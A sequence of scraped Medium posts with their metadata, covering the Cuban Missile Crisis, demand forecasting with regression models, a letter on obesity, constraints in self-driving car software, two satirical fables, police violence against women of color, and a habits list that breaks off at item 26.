Another brinkmanship that almost started a nuclear war between US and the Soviet was the Cuban Missile Crisis. Stalin’s successor Khrushchev supported Cuba’s Castro on his cause to free his country from US’ obligations and wanted to help him build a communist nation, so he agreed to place nuclear missiles in Cuba. When Kennedy found out about it, he enforced a quarantine in Cuba and insisted on all offensive weapons return to the Soviets. Both countries stood on the verge of war for days but Khrushchev agreed to Kennedy’s terms and in return, Kennedy dismantled the missile sites in Turkey. This conflict did not only help both sides to reach to a peaceful agreement but also guaranteed US’ removal from Cuba. The two never got this close to starting a nuclear war again but the debate about the strategies that involved the atomic diplomacy still goes on.
It was obvious that there would be disagreements between two nations after the WW2 but turning those disputes into a decades-long war could have been stopped if those two genuinely wanted to put an end to wars. But instead, both sides chose to believe that they would be safe only if everyone carried the same ideology as they did. Innocent lives were lost for a war that would not have a real winner at the end. The Soviets may have collapsed at the end of the century but the fear of communism still lives in the heart of Americans. | https://medium.com/@dereneakin/a-battle-never-fought-directly-cold-war-103ebd28e92c | ['Deren E. Akın'] | 2020-05-15 20:04:48.120000+00:00 | ['Ww2', 'Communism', 'Cold War', 'History', 'Cuban Missile Crisis'] |
Using Machine Learning to predict Item Demands in the future! | Data Preparation
Before building the great Machine Learning models, we prepare the data to our needs, so that we get the best results. We add some more time based features like ‘Year’, ‘Month’, ‘Week’, ‘Day’, ‘Dayofweek’, ‘Dayofyear’, ’weekofyear’, ‘Is_month_end’, ‘Is_month_start’, ‘Is_quarter_end’, ‘Is_quarter_start’, ‘Is_year_end’, ‘Is_year_start’.
I added some ‘lag’ features as well as they are considered sometimes useful in Time-Series Analysis. You can find more about them here.
Modelling
Now, let’s get to the good part, I mean the best one! I have divided the modelling part into 2 subsets —
— Baseline Models
— ML Models
We will use Baseline Models to predict from the previous sales and then use them as features. Sounds strange? — it is not actually. Below used are the two most important in time-series analysis.
For all the following models, we will evaluate the model on SMAPE and RMSE.
Simple Moving Average — The First Model used is the Moving Averages Model which uses the previous n values in order to predict the next value.
This can easily be implemented with pandas’ ‘rolling’ function.
Using Previous Values — Pt=(Pt−1+Pt−2+Pt−3….Pt−n)/n
For the above, the Hyperparameter is the window-size (n) which is tuned manually and it is found that the window-size of 2 is optimal for getting the best results using Moving Averages using previous 2016 values therefore we get Pt=(Pt−1+Pt−2)/2
Exponential Weighted Moving Average — This is a more logical way towards assigning weights and at the same time also using an optimal window-size.
Specify decay in terms of halflife, α=1−exp(log(0.5)/halflife)
For the above, the Hyperparameter is the halflife which is tuned manually and it is found that the halflife of 0.3 is optimal for getting the best results using Exponentially Weighted Moving Averages using previous values.
Comparing Baseline Models
We split the data into Train and Cross-Validation as 80% — 20%. Here, we do a Time based splitting and we have a sequential data. We take 4 years of data from 2013–2016 of each store and item as Training and the 2017 data as the Cross-Validation data.
Linear Regression —
Firstly, we train a Linear Regression model without hyper-parameter tuning and normalized features and here’s the result we get:
Test SMAPE: 0.8473661033300371
Test RMSE: 1.0650487158450959
Wow! Amazed right. Even the simple model, which just fits a line, giving us terrific results with less than 1% of error. Linear Regression has owned a much more solid respect for me after this.
But remember, “Feature Importance”? (doing the “quotes” gesture!). Yeah, bummer. Linear Regression doesn’t implicitly gives us feature importance. So even though we have such a great model, sadly we will not be able to accept it. (Frown!) :(
But don’t worry, we always have some alternatives. Let the bad boys come into the play. We have our powerful Ensemble techniques. What does they say about this now?
XGBoost Regressor — Training with hyper-parameter tuning. See the results.
Test SMAPE: 1.8557876826185409
Test RMSE: 2.4428290358987748
Ouch! The “great” XGBoost isn’t making you happy either. The error is higher than Linear Regression. What about feature importance?
Feature Importance
Yes!! Things are now working as expected (at some level). So, EMA and MA are indeed the most important features. We know the results are as expected as previous values do play a vital role and now we are seeing this. Thank you XGBoost. (Happy!) :)
Random Forest Regressor — Training with hyper-parameter tuning. See the results.
Test SMAPE: 0.8751925305940013
Test RMSE: 1.2986884849038731
The trees are really doing their job well! The error is so much close to what we received with Linear Regression. This could be the one we were looking for. But wait a minute! “Feature Importance”, remember?
Feature Importance
Yep! That is it. That’s just it. Exponential Weighted Moving Average is trying to get all the credit here. Even if we remove a lot of features other than ‘ewm’, there’ll not be any significant change in the performance. I believe you can see now that how important are our baseline models as features.
C onclusion
Looking at our Business Contraints, since we do not have any low-latency requirements, even simple model like Exponentially Weighted Moving Average performs the best with the lowest Percentage Error.
The machine learning model Linear Regression performs best considering the KPI (SMAPE) with Test SMAPE = 0.84.
Random Forest Regressor comes 2nd with slightly more Test SMAPE = 0.87 with some model interpretability but only considers one feature as important.
Since we want feature importance to be reasonable and useful, we can conclude XGBoost Regressor to be our best model with Test SMAPE = 1.85 as it gives reasonable Test SMAPE as compared to other ML Models, but with a lot of interpretable feature importance.
Although, we have concluded our best model, but I really want to show what’s so called “Magic” aka Deep Learning. I am going to try a simple 1-hidden layer RNN model and see can we beat Linear Regression in terms of Error.
The reason I’m doing this is because both the techniques intuitively use Optimization and I believe RNN would perform better.
LSTM Model Summary
batch size = 256
epochs = 10
LSTM = 128 units
Dropuout = 0.5
Activation = ReLU
Optimizer = Adam
loss = Mean Squared Error
Metrics = [‘SMAPE’]
So what are the results? I’m not going to tell you straight away. Below is the table created using PrettyTable library comparing all the models we created.
I hope you get surprised! Ready?
References:
1. https://www.kaggle.com/arindamgot/eda-prophet-mlp-neural-network-forecasting
2. https://www.kaggle.com/thexyzt/keeping-it-simple-by-xyzt
3. https://www.kaggle.com/c/demand-forecasting-kernels-only/data | https://medium.com/@rsharma2547/using-machine-learning-to-predict-item-demands-in-the-future-3718e995dc5 | ['Rishabh Sharma'] | 2019-04-18 16:23:15.894000+00:00 | ['Regression', 'Deep Learning', 'Machine Learning', 'Time Series Forecasting', 'Python'] |
Hiya, | Hiya,
I’m fat. Not “ooooh my goodness I need to lose 5lbs” fat. I am morbidly obese at 5'7" and 360 ish pounds. I keep my scales on top of my wardrobe, I find they do less damage there.
I live in the UK and people are a good deal more polite about fat people. I went to the gym for ages and only got one person who sort of laugh/smirked at me. But I don’t back down, I look right back at people and I would totally give them a mouthful of abuse if they started. I am not saying that would be the answer in all situations, but it works for me. We don’t have guns though, so it’s probably less risky.
To me, you are showing us the very thin silver lining to being fat. Yes, we can see what people think. Yes, we can answer people back when they make comments. Yes, we can see the prejudice that people have against fat people, mostly fat women because fat men don’t seem to have it so bad.
It’s not good enough though, is it? We have government sponsored healthcare in the UK, but for fat folk in the US, well, they aren’t asking anyone to pay their healthcare bill, are they? So where do people get off telling fat folk they are unhealthy? It’s nothing to do with them. People are so entitled, it’s infuriating.
I just wish thin people (or just less fat people) would shut up and let us get on with it.
I’m glad you wrote this piece, I truly am, but it still makes me sad. It’s still a terrible deal for fat folk.
I’m working out my own fat issues a bit at a time. I don’t claim to have got to the end of it yet, far from it.
I wish you every good wish,
Ruth | https://medium.com/@RuthStewartPLR/hiya-aa05cf4f0f5c | ['Ruth Stewart'] | 2019-07-10 13:52:57.191000+00:00 | ['Feminism', 'Self', 'Body Positive', 'Growth', 'Body'] |
When AI Self-Imposed Constraints Aren’t Good For Self-Driving Cars | Dr. Lance Eliot, AI Insider
[Ed. Note: For reader’s interested in Dr. Eliot’s ongoing business analyses about the advent of self-driving cars, see his online Forbes column: https://forbes.com/sites/lanceeliot/]
Constraints.
They are everywhere.
Seems like whichever direction you want to move or proceed, there is some constraint either blocking your way or at least impeding your progress.
Per Jean-Jacques Rousseau’s famous 1762 book entitled “The Social Contract,” he proclaimed that mankind is born free and yet everywhere mankind is in chains.
Though it might seem gloomy to have constraints, I’d dare say that we probably all welcome the aspect that arbitrarily deciding to murder someone is pretty much a societal constraint that inhibits such behavior.
There are thus some constraints that we like and some that we don’t like.
In the case of our laws, we as a society have gotten together and formed a set of constraints that governs our societal behaviors.
In computer science and AI, we deal with constraints in a multitude of ways.
When you are mathematically calculating something, there are constraints that you might apply to the formulas that you are using.
Optimization is a popular constraint.
You might desire to figure something out and want to do so in an optimal way.
You decide to impose a constraint that means that if you are able to figure out something, the most optimum version is the best.
Hard Versus Soft Constraints
There are so-called “hard” constraints and “soft” constraints.
Some people confuse the word “hard” with the idea that if the problem itself becomes hard that the constraint that caused it is considered a “hard” constraint.
That’s not what is meant though by the proper definition of “hard” and “soft” constraints.
A “hard” constraint is considered a constraint that is inflexible. It is imperative. You cannot try to shake it off. You cannot try to bend it to become softer.
A “soft” constraint is one that is considered flexible and you can bend it. It is not considered mandatory.
This brings us to the topic of self-imposed constraints, and particularly ones that might be undue.
Self-Imposed And Undue Constraints
Problems that are of interest to computer scientists and AI specialists are often labeled as Constraint Satisfaction Problems (CSP’s).
These are problems for which there are some number of constraints that need to be abide by, or satisfied, as part of the solution that you are seeking.
Some refer to a CSP that contains “soft” constraints as one that is considered Flexible.
A classic version of CSP usually states that all of the given constraints are considered hard or inflexible.
If you are faced with a problem that does allow for some of the constraints to be flexible, it is referred to as a FCSP (Flexible CSP), meaning there is some flexibility allowed in one or more of the constraints. It does not necessarily mean that all of the constraints are flexible or soft, just that some of them are.
Autonomous Cars And Self-Imposed Undue Constraints
What does this have to do with AI self-driving driverless autonomous cars?
At the Cybernetic AI Self-Driving Car Institute, we are developing AI software for self-driving cars.
One aspect that deserves apt attention is the self-imposed undue constraints that some AI developers are putting into their AI systems for self-driving cars.
As an example of how driving a car can consist of our own mental “constraints” there’s a story I like to tell.
One day, I was driving down a street that was flooded due to a downpour of rain. Unfortunately, I drove into the flooded street thinking that I could just plow my way through the water, but I began to realize that the water was much deeper than I had assumed.
I had cars behind me that were pinning me in and so I couldn’t readily try to back out of the situation.
If I went any further forward, I was going to end-up having my car get so deep into the water that it might pour into the car and likely too stop the engine.
What to do?
There was a raised median in the middle of the road that had grass and was normally off-limits to cars.
I would have never thought to drive onto the median, but I saw another car do so. This allowed the car to stay high enough in the water to make its way down the street.
After a moment’s hesitation, I decided that driving on the median made sense in this situation, and I did likewise.
As a law-abiding driver, I would never have considered driving up on the median of a road.
It was a constraint that was part of my driving mindset.
Was it a “hard” constraint or a “soft” constraint?
In my mind, originally it was considered a “hard” constraint, but now I realize that that I should have classified it as a “soft” constraint.
AI Dealing With Constraints
Let’s now recast this constraint in light of AI self-driving cars.
Should an AI self-driving car ever be allowed to drive up onto the median and drive on the median?
I’ve inspected and reviewed some of the AI software being used in open source for self-driving cars and it contains constraints that prohibit such a driving act from ever occurring. It is verboten by the software.
I would say it is a self-imposed undue constraint.
Sure, we don’t want AI self-driving cars willy nilly driving on medians.
That would be dangerous and potentially horrific.
Does this mean that the constraint though must be “hard” and inflexible?
Does it mean that there might not ever be a circumstance in which an AI system would “rightfully” opt to drive on the median?
I’m sure that in addition to my escape of flooding, we could come up with other bona fide reasons that a car might want or need to drive on a median.
I assert that there are lots of these kinds of currently hidden constraints in many of the AI self-driving cars that are being experimented with in trials today on our public roadways.
The question will be whether ultimately these self-imposed undue or “hard” constraints will limit the advent of true AI self-driving cars.
Machine Learning And Deep Learning Aspects
For AI self-driving cars, it is anticipated that via Machine Learning (ML) and Deep Learning (DL) they will be able to gradually over time develop more and more in their driving skills.
You might say that I learned that driving on the median was a possibility and viable in an emergency situation such as a flooded street.
Would the AI of an AI self-driving car be able to learn the same kind of aspect?
The “hard” constraints inside much of the AI systems for self-driving cars is embodied in a manner that it is typically not allowed to be revised.
The ML and DL takes place for other aspects of the self-driving car, such as “learning” about new roads or new paths to go when driving the self-driving car. Doing ML or DL on the AI action planning portions is still relatively untouched territory. It would pretty much require a human AI developer to go into the AI system and soften the constraint of driving on a median, rather than the AI itself doing some kind of introspective analysis and changing itself accordingly.
There’s another aspect regarding much of today’s state-of-the-art on ML and DL that would make it difficult to have done what I did in terms of driving up onto the median. For most ML and DL, you need to have available lots and lots of examples for the ML or DL to pattern match onto. After examining thousands or maybe millions of instances of pictures of road signs, the ML or DL can somewhat differentiate stop signs versus say yield signs.
Conclusion
The nature of constraints is that we could not live without them, nor at times can we live with them, or at least that’s what many profess to say. For AI systems, it is important to be aware of the kinds of constraints they are being hidden or hard-coded into them, along with understanding which of the constraints are hard and inflexible, and which ones are soft and flexible.
To achieve a true AI self-driving car, I claim that the constraints must nearly all be “soft” and that the AI needs to discern when to appropriately bend them. This does not mean that the AI can do so arbitrarily. This also takes us into the realm of the ethics of AI self-driving cars. Who is to decide when the AI can and cannot flex those soft constraints?
Let’s at least make sure that we are aware of the internal self-imposed constraints embedded in AI systems and whether the AI might be blind to taking appropriate action while driving on our roads.
That’s the kind of undue that we need to undue before it is too late.
For free podcast of this story, visit: http://ai-selfdriving-cars.libsyn.com/website
The podcasts are also available on Spotify, iTunes, iHeartRadio, etc.
More info about AI self-driving cars, see: www.ai-selfdriving-cars.guru
To follow Lance Eliot on Twitter: https://twitter.com/@LanceEliot
For his Forbes.com blog, see: https://forbes.com/sites/lanceeliot/
For his AI Trends blog, see: www.aitrends.com/ai-insider/
For his Medium blog, see: https://medium.com/@lance.eliot
For Dr. Eliot’s books, see: https://www.amazon.com/author/lanceeliot
Copyright © 2019 Dr. Lance B. Eliot | https://lance-eliot.medium.com/when-ai-self-imposed-constraints-arent-good-for-self-driving-cars-133a5a9b83c9 | ['Lance Eliot'] | 2020-01-24 17:12:44.216000+00:00 | ['Driverless Cars', 'Self Driving Cars', 'Artificial Intelligence', 'Autonomous Vehicles', 'Autonomous Cars'] |
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New Teaching Stories I | New Teaching Stories I
Fairy Tales to Expose Our Current Madness.
Sometimes stories can make essences clear, that factual treatises can’t. Here are two stories of my hand, one old, one new, about our civilization, or perhaps rather, lack of it.
The Other Lion King
Rise
Deep in Africa once a lion was endowed, or rather cursed, with a very high intelligence and much power. He pondered his life and that of his fellow lions for a while. Sure they ate zebra’s when they happened to come by. But his lazy family always seemed to become lazy, as soon as their bellies were filled. So next time they went hunting he demanded they kill as many zebra’s as they could get, or else. His threats were enough to make them exceed his expectations. Yet after a while, even several kills wasn’t enough for him. They should aim for higher targets. So they drove the next zebra herd to a high cliff. These zebras had no choice to either fall to their deaths or face the teeth and claws coming for them. Hundreds of zebras perished. And with all the abundance in extra food, his lion tribe became the strongest of the plains. And so he declared himself the king. “Isn’t this my right?” the new lion king declared. And no one dared to object.
Lions of other tribes had to beg for pieces, as zebra flesh was becoming scarce. “Well we hunted them, so paws off, unless you recognize the king.” And many did. Once almost all zebras were gone, the powerful lion ordered his followers to switch to wildebeest meat, killing as many as they could in ever shorter times. And other lions were chased away by the ruling tribe. They claimed, look at the mouths to feed in our tribe alone. We can’t share, unless you join us, in the lowest ranks.” And so the might of their tribe grew. The leading lions celebrated their victories over their prey and other lions with huge parties. “Isn’t this my right?” the lion king declared. And no one dared to object.
Power
Yet many other lions became worried and thin. They found prey animals were harder and harder to catch. So they too started to hunt as much as possible, otherwise they’d starve. Some specialized in springboks, others in monkeys and the stockiest of them all hunted meerkats. For a short while the lions ruled the plains and lived in abundance. And all lions who had a big catch had to pay spoils to the lion king. “Isn’t this my right?” the lion king declared. And no one dared to object. Many even started to admire the lion king and raise their children to be like him. For they didn’t know any other way any more.
Then one day a very old and scrawny wildebeest came to the court of the lion king. “Your way is not the way of nature.” said the old wildebeest, “Your way is dangerous to us all, even to your own kind.” “Look around you!” said the lion king, “I have all the power and you have nothing. I am success and you’re a loser. You are just prey.” “Mmm,” said the old wildebeest, “You’re not a success, rather, you’re insane and poison to all the land; and you don’t know it.” Upon this the mighty lion roared, “What nonsense.” and he killed the old wildbeest. “Isn’t this my right?” the lion king declared. And no one knew any better.
Downfall
And then huge shortages of food began to pop up. The most powerful of lions made a treaty how much each tribe of lions was allowed to catch. Even the mighty hyenas fell in line and now served the lions. Those who broke the rules would be killed by the lion king personally. “This is for your own good. These rules of mine are here to protect us all.” said the lion king. “They make sense, because we all need to eat.” Many lions felt it wasn’t right somehow, but they couldn’t explain. Yet the king’s rules seemed to make sense given the situation, so they agreed. And thus all lion tribes cowered before his power, while his own tribe just took the biggest pieces of whatever was left. “Isn’t this my right?” the lion king declared. And no one dared to object.
Then a human king called all other species of hunters together and said, “The madness of the lion king, will surely kill us all, when there’s no food left. We must make an end to his madness. We must go to war or perish.” And all the hunters knew this to be true. The mighty hyenas openly broke with the lions and betrayed them. Then all the other hunting animals, tiny weasels, packs of hyenas and the biggest hawks, joined the humans and hyenas. And they all went to war with the lions. The war was terrible and all the lands were ravaged, until at last the lion king was beaten. And then the victorious human king called all surviving hunting animals together and said, “I know, food is scarce and we must be careful. Therefore we will gather all prey animals in corrals and breed them. Thus they have a future under our guidance, for their own protection against robbers. And it is also to our own advantage as hunters. But to make it work we make the following rule: whomever wants to eat meat, must come to our court and pay their dues, or else you won’t get anything to eat.” A shocked silence followed. “Isn’t this my right?” the human king declared, holding a deadly spear. And no one dared to object.
And to this day the lions, respect humans as equals, but hate hyena’s for their betrayal. The humans took the lions as a symbol of power, and copied all the tricks of the lion king and added more and more of their own. And since then, most humans never shared their power with anyone. The worst off were the hyenas. They now hate both humans and lions, because for all their servitude they never gained anything.
Comment of the sage: Insanity stacked upon insanity makes the whole world go crazy.
Comment of the fool: You’re just spoiling my joy in a successful career as a hyena.
The Essential Work
A new perspective
Once in a prehistoric village, beyond the clutches of the Roman empire, a hunter lived who wasn’t satisfied with his work. He lacked a passion for the hunt and secretly despised the killing he had to do for his work. He went to the shaman of his village and asked him for help. Through the help of the shaman, he found that his passion was to work with people, and help them to get in touch with their passion. So the hunter became a job coach. And in this new profession he became the most regarded of wise men in the village.
First many warriors and then hunters found their way to his hut, because they all found they too had a disgust for murder, let alone for fighting wars in foreign lands. They also had a disgust for gathering plants and berries like the women. They too wanted to be people bringing others to a higher level of existence, namely living aligned to their deepest passions. And soon all warriors and hunters changed profession, to do what felt good. They all became coaches, trainers and job coaches.
Then the makers of stuff and people who repaired roofs, found they wished to stop hammering and laboring all day, while the other men were involved in playful development and or purposeful dialogues. They too wanted to feel alive in deep connection with others. So they too went to coaching, to workshops and trainings with the hope of finding their true purpose. And all found it in this most wonderful experience of all: the help other people open up and shine their light upon the world. The positivity hormones rocked their world.
Now with the men at home, many women found that wandering the woods all day, picking up plants and berries, was kind of lonely work and it made your back hurt a lot. So they too went to the trainers, coaches and job coaches and they too found their highest passion was to work with people, to make them shine. Since there were already so many coaches, trainers and job coaches they discovered that the names for this beautiful work could be more precise and personal. So the women became workshop facilitators, personal development workers, passion finders, heart work councillors and purpose guides.
Growth Models
And while everyone was helping each other, in the most beautiful of ways, the children complained there was a lack of food and water. Yes, this and the lack of furniture and roof repair had the village slowly collapsing. Worried they sought council from the wisest of them all, the first job coach, who by then, had changed his professional name to entrepreneurial spirit developer. He helped them to expand business to a neighboring village. This neighboring village was found willing to do the hunting and food gathering in exchange for coaching and counseling. Soon the first village looked more beautiful and rich than ever before. And the inhabitants led each other and visitors through the most meaningful of sessions.
In exchange for food, repairs and goods, these neighboring villages found coaching, therapy and guidance and sometimes could even partake in the most spiritual of sessions. And these people too found a higher purpose to live than the lowly excitement of the hunt or plant gathering. They too wanted to be rich, like their neighbors. And the more and more people found their true passion of letting others shine and live aligned to their true purpose the more and more villages found they needed starting to sell their counseling to more and more neighboring tribes. Food became scarce again and important goods hard to obtain.
Then one day the first job coach turned entrepreneurial spirit developer found he had enough of all the talking and understanding. He went into the woods, and since he still didn’t care for the hunt, he started to gather plants and berries. He felt the air, the magic of the woods and loved the sounds of nature. And when he returned to the village laden with eatables, there were many people wanted part of his pickings. They expected to get it very cheap in exchange for coaching and true purpose work. He said “no, you pay me double the price”. The whole village was shocked. That a man doing lowly woman’s work dared to asked so much for such simple manual labour. The gatherer sighed. He knew they would for ever consider themselves more advanced than any basic workers. So he told them he had discovered a new spiritual path called ‘deep root work’. In this spiritual path people could get in touch with their own deepest nature, through the experience of the old ways, like the hunt, berry picking and or the repair of buildings. When he had finished people had heard a deep truth in his words and everyone started to follow his teachings. Soon again he was regarded again as the highest of wise ones in the village. And though his tribe lived now lived a more simple and basic live than before, once again their village flourished again and no one was in need.
Returns
Thus through the ideas of the hunter who turned himself into a job coach, turned entrepreneurial spirit developer, turned back to gatherer, everyone went kind of back to normal. Some things had changed though. There were also women who now hunted too, because they loved the thrill of the hunt. There were more men who found that the work of gathering plants and berries had a deeply satisfying inner peace to it. Others turned to repairing and making stuff, often more artistic than before. And all of them gave their work passionate and spiritual names so it at the least felt better than before. And perhaps that those cool names that they gave their essential work, at the least helped to get slightly better prices from the neighboring villages. And as a whole somehow their village became honored for the deep contributing work to the existence of their culture.
And all of them lived happily ever after in peace, until the Romans conquered their lands and introduced capitalism. The Romans forced the tribes to switch to a mono culture, forced indecent low wages upon them and took the best looking as slaves. Our gatherer even became a tutor slave for a rich and wealthy family who wished to understand and learn from the romantic barbarian spirit. But none of them took his learnings to heart. He was just a romantic ideal show. Meanwhile hunger and scarcity once again had returned to the village. The Romans took their gained profits, some would say robbed wealth, home. They claimed it was honest downpayment for, what they called, civilized counsel, development work, leadership and agile interim management. This wealth they took home was needed to pay off the large group of dream job coaches, passion guides and self development workshop leaders spreading passion and purpose in Rome. Although given the decadence in Rome it may also, just as easily, may have been spend on parties, drugs and military power. Who knows. Whatever, word has it, that soon after Rome fell and the Dark Ages began. But we can’t be too sure, as this all happened far back in time.
Comment of the sage: Well, we all must consider what role we play in this world.
Comment of the fool: Look who is talking? Will you now go and pick fruits? For I’m hungry. | https://medium.com/the-gentle-revolution/new-teaching-stories-i-3acffa47399f | ['Floris Koot'] | 2020-04-14 23:19:05.143000+00:00 | ['Teaching Stories', 'Social Change', 'Storytelling', 'Wisdom', 'Fairy Tale'] |
Violence Against Women of Color | Breaking The Silence about Police Brutality Against Women of Color
Mapping the Margins by Kimberle Crenshaw introduces the idea of Intersectionality. Intersectionality has quite a complex meaning so I am going to take some time to take it apart and explain it. Intersectionality refers to the idea that every person is made up of various different components such as race, class, gender, and sexual orientation. Each of these different parts create an overlapping system that makes up a person and neither one of the components can exist without the other. For example, a white woman in the United States may experience some type of inequality or unfairness due to her gender, but she wouldn’t experience any racial injustice because she is white. At the same time, a woman of color in the United States not only deals with injustices because of her gender, but she also deals with discrimination because she is of color. For the woman of color, her race and gender overlap to create her identify. She can’t be seen as just a woman or just a person of color because she experiences the world in terms of both of those components. Crenshaw seeks to look at how different dimensions of identity intersect. She points out that institutions at all levels fail to serve people in regard to intersectionality because they only focus of one of the components mentioned at a time. To illustrate her argument, she gives many examples in her article, but I will focus on one example. Crenshaw points to the flaws in the Immigration and Nationality Act passed by Congress which was meant to help immigrants who were married to American citizens and were being abused by their spouse. Because many of these individuals were only able to get to the United States by marrying an American citizen, they feared being deported if they reported the abuse, so they stayed silent. In an attempt to fix this issue, the Immigration and Nationality Act allowed the immigrants to stay in the country without their spouse. The catch was that they had to provide some sort of evidence to prove that their spouse was abusing them. Crenshaw states that this solution was not enough because most of the immigrants did not have enough recourses to support themselves and stay in the U.S independently and many of the immigrants are unable to speak English so they may not even know about this Act. So, in order to benefit from this Act, the immigrant would have to be English speaking and somewhat wealthy to be able to provide proof of abuse and support themselves without the help of their spouse. This leaves out the abused immigrants who are unable to speak English and have no money other than what is being provided by their spouse. Therefore, intersectionality is ignored in this situation and fails to serve everyone.
Now, I am going to shift my focus to look at police brutality thorough an intersectional lens. In 2017, people of color had three times higher chance of being killed by the police than white people. Although black men are killed by the police at a higher rate than women, much of police violence against women of color stays hidden. Andrea Ritchie, author of Invisible No More: Police Violence Against Black Women and Women of Color points out that we can’t only focus on fatal shooting and excessive force. We must also address things like police sexual violence. She says that we don’t know exactly how many women are killed and brutalized by the police each year because no one collects or reports that kind of information, and police departments are not required to report this. We can only get glimpses of these types of brutally when cases such as Sandra Bland’s surface the web. She says, “just because the number of black women incarcerated were smaller than the number of black men, that didn’t mean their experiences didn’t have something to teach us about larger patterns of racial injustice and white supremacy in America.”
Just to give you an idea of police brutality towards black women, I am going to briefly focus on Sandra Bland’s story. In 2015, her story surfaced the web and caused quite an uproar. Bland was a black woman who was pulled over by a white police office for not using her turn signal. After being pulled over, her discussion with the police officer got heated because the officer asked her to put out her cigarette and she refused. The officer, Brian Encinia, had his dashcam on. In the dashcam, Encinia draws his taser and yells, “I will light you up! Get out! Now!” Bland then exited her vehicle. The two moved out of the video frame, but a bystander continued to video tape the rest of the incident. Encinia slammed her head into the ground, at this point Bland screamed out that the she could no longer hear anything because of the impact, then he continued to pin her to the ground by holding her arms behind her back and using his knees to keep her on the ground. Bland was heard yelling and crying. Bland was charged for assaulting a public servant and was placed in Waller County Jail. Three days after Bland’s arrest, she was found hanging in her cell. It was said that Bland had committed suicide with a trash bag, but many people thought differently. A few months before her death, Bland had created a video series called “Sandy Speaks” in which she spoke about different matters such as the Black Lives Matter movement and police brutality. None of her family and friends believe that she could have committed suicide because she was a bright young woman who was excited to start a new job soon and had so much to live for. In one of her videos, Bland says, “there has been something really heavy on my mind, a seed that I feel like God has truly planted in my life, work that He has set for me to do, a message that He has for me to get out…” and then she goes on to speak about unfair treatment by the police towards black people. She finishes with, “if we want a change, if we really want a change, we can truly make it happen!” it was, still is, difficult for people to believe that someone with this much purpose would end her own life. After her story came out, the conversations about police brutality towards black women began to surface once again. I focused on her story because I believe that her mistreatment was solely based on the fact that she was a black woman. Can you imagine this same situation if Sandra Bland was white?
Sandra Bland is just one example of why intersectionality is important. We cannot say that all women have similar experiences when dealing with the police because a woman of color will have a much different experience with the police than a white woman. It is important to look at different dimensions of each person’s identity and understand that each component goes hand in hand and effects an individual’s way of experiencing the world. | https://medium.com/gendered-violence/violence-against-women-of-color-ba6be6147eec | [] | 2018-03-28 00:20:59.606000+00:00 | ['Sandra Bland', 'Violence', 'Police Brutality', 'Crenshaw', 'BlackLivesMatter'] |
45 Habits of Highly Successful People | 1.Waking up early: Most of the successful people irrespective of the field that they belong to, are early risers. They wake up early so that they can leverage the head start time to do things that are of high priority to them.
2. Read a lot: These people develop and maintain the habit of reading regularly as that improves their knowledge and keeps them updated with the current trend in the industry they work into or to seek wisdom in the topics they are interested in.
3. Spend time with people who inspire them: They spend time with purpose oriented and the like minded people to keep themselves inspired as they believe that the environment into which they are exposed to, will shape their life accordingly.
4.Pursue their own goals: They don’t compare themselves with others since they understand that every individual’s journey of life is unique. Hence they are very much focused in pursuing their own goals instead of looking into what other people are up to in their life.
5.Sufficient and uninterrupted sleeping patterns: Adequate amount of sleep helps in accelerated productivity when you’re awake. Not just that, good sleeping pattern improves emotional and social interactions, makes you more receptive to learning, reduced risk of accidents and so on.
6.Multiple income streams: Money cannot buy happiness, but it acts as a tool that can be of use to do what we find meaningful and that in turn will bring happiness. The better the income streams you generate, the better you can make use of it in the new ventures as you’ll have some source of cash flow to back you up.
7.Avoid time wasters/toxic people: Successful people know that as they evolve to become the best version of themselves they have to leave certain people those who don’t align with their interest and are not driven like them. If they find anybody who waste their time they’ll withdraw from contacting them and they are very much capable of understanding people’s intent when they turn into mental health destroying leeches, so they’ll ignore them as well.
8.Talk less and do more: It is all about taking action for people those who want to be successful or the one’s who want to retain their success in their respective fields. These people are keen on showing progress rather than simply posting about it on social media every now and then to feed their ego or to gain publicity.
9.Network management: Successful people understand that their “Network is their Net Worth”. Networking leads to more good things namely better oppurtunities, lets you exchange fresh ideas and impact people by being of help when they need it.
10.Positive mindset: No matter the trials and the turbulence they face in the process of accomplishing their vision, these people never give up and will stay positive throughout the course. Even if they fail in their attempt to bring their dream into reality they’ll set themselves up for different methods and tweak their strategies to accomplish the act.
11.Personal care: These people take good care of their body and mind since it is the only thing that they’ll be with throughout their life. Hence they keep themselves fit physically and feed good thoughts and do meditation for regulating their mind muscle.
12.Organizational skills: They are good at organizing as they have the clarity of what they want to do in their life. They will organize things and will follow routines as they know what works best for them.
13.Time to relax: These people don’t slog 24/7 to increase their productivity to be successful. They take regular breaks to do something refreshing which is in no way relevant to their goals to recharge them. It can be anything from playing golf, taking up music classes, taking kids to school etc. They give equal importance to down time usually.
14.Persistent and committed: These people are vigorously committed to what they have started and are persistent in taking up action. Discipline is the one of the key factors that sets them apart from the people that end up being mediocre.
15.Think long term: While taking decisions they think whether what they choose will be of help in the long term. They don’t easily give in to temporary pleasures as they know that the emotions they feel are just momentary and will lead to no good in future.
16.Confident in their abilities: Whether they have people to support their ideas/ vision or not, they’ll keep working on it until they find the desired outcome.
17.Contribute generously: These people give for the sake of giving, They don’t expect anything in return from the people they aid. That is, they don’t give for the sake of personal gains. These people help the less fortunate people when in need.
18.Patience: They know the importance of the asset called Patience. Their vision to make their desire a reality will not make them to act in a rush. More than anything else, they’ll stay committed to the goal they have set up for themselves and are aware of the fact that if anything done consistently over a period of time will pay back in many ways.
19.Cognitive flexibility: They are not rigid with the way they execute their plans. If one way doesn’t work, they think of another way to make it work else they’ll create a way of their own.
20.They know their why: These people know why they do what they do. In the sense they have a drive which lets them to act the way they do. So they don’t expect any external motivating factor since the passion is invoked within.
21.Take calculated risks: When they set their eye for something they’ll analyse the task from all dimensions. They’ll make themselves aware of both best and worst case scenarios. If they don’t have any clue about something they’ll reach out to people who are established and walked that path already, to have a clear picture on the whole.
22.Excellent communicators: They are excellent communicators basically. They make sure that what they speak is understood by the people on the receiving end. They would have the natural ability to communicate properly or would have developed it in the course of time.
23.Never play the blame game: “Their life is their responsibility.” This is how someone who’s successful in his life is wired to think. So they don’t blame anybody for their misfortune instead they’ll stay focused and committed on accomplishing their goals no matter how easy or tedious it is.
24.Highly resourceful: They would have developed the tendency to be proactive. Their ability to learn without any limitations in their mind, sets them apart from others who would have felt enough of learning. They are very compassionate people who want to see other people succeed in their respective fields, so they’ll come out of their way to help others who are less fortunate than them.
25.Think winning thoughts: Even before achieving what they want to, they think winning thoughts. This perspective in thoughts gives them the push that is required to accomplish what they have set their eyes on.
26.Don’t complain: They know that simply complaining about what didn’t work the way they want it to will get them nowhere. Hence they embrace the fact for what it is and do the needful.
